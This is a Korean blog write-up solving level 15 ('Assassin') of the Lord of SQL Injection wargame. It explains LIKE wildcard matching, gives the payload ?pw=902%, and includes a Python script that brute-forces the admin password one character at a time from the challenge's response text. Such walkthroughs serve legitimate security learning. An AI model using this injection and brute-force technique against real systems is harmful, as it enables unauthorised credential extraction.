본문 바로가기
WarGames/SQL Injection

Lord of SQL Injection : Assassin[15]

by madevth 2021. 12. 13.
반응형

[Level 15. Assassin] Sol → ?pw=902%

like는 특정 문자열이 들어간 행을 찾을 때 사용된다. 예를 들어, 우편번호를 정확히 모르더라도, 6이 들어간 것을 안다면 '6%'으로 표현하여 찾을 수 있다.

물론 6이 뒤에 들어갔다면 %6, 어딘지 모르지만 들어있다면 %6%으로 찾을 수 있다.

 

이를 이용해서 우선 %를 먼저 넣어보았다.

원래는 %를 넣으면 모든 쿼리가 출력되는데, Hello guest만 출력되는 것을 보니 guest의 아이디가 제일 위에 있어서 guest 하나만 가져오는 것 같다.

%a% %b% %c%와 %0% %1% %2% 등 알파벳을 몇 개 넣어보았는데, 특정 단어에서 계속 guest만 떴다.

guest의 pw에는 들어있지 않지만 admin의 pw에는 들어있는 문자를 찾기 위해 자동화 코드로 모든 알파벳을 넣어봤지만 Hello admin이 나오지 않았다.

그래서 든 생각이, guest의 pw로 사용된 문자가 admin의 pw 문자를 포함하고 있다면, 예를 들어 quest의 비밀번호가 abc인데 admin을 ab로 설정해놓으면 아무리 % 사이에 알파벳을 넣어도 우선순위 상 guest만 뜨게 된다. 그래서 guest의 비밀번호를 하나씩 찾다 보면 admin의 비밀번호를 찾을 수 있다고 생각했다.

 

알파벳의 앞쪽에 %를 넣으면 인코딩 값으로 오해하기도 하고, 비밀번호의 첫 글자부터 찾기 위해 {값}%로 guest의 비밀번호를 찾아주었다. %를 넣으면 무조건 Hello guest가 뜨므로, chr(38)부터 자동화 코드를 돌렸다.

import requests

url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
cookie = {'PHPSESSID': 'Cookie'}

def find_pw():
    password = ""
    flag = 0
    while True:
        for value in range(38, 127):
            param = {"pw": "{}{}%".format(password, chr(value))}
            print(param)
            req = requests.get(url, params = param, cookies = cookie)
            if "Hello guest" in req.text:
                password += chr(value)
                break
            elif "Hello admin" in req.text:
                password += chr(value)
                print("비밀번호: ", password)
                flag = 1
                break
        if flag:
            break

find_pw()

 

비밀번호 GET!

 

추가로, 자동화 코드를 더 돌려서 admin의 비밀번호를 완전히 알아냈는데,

guest에도 모두 포함되는 단어라 한 글자씩 찾을 때 guest만 뜬 것이 맞았다.

반응형

댓글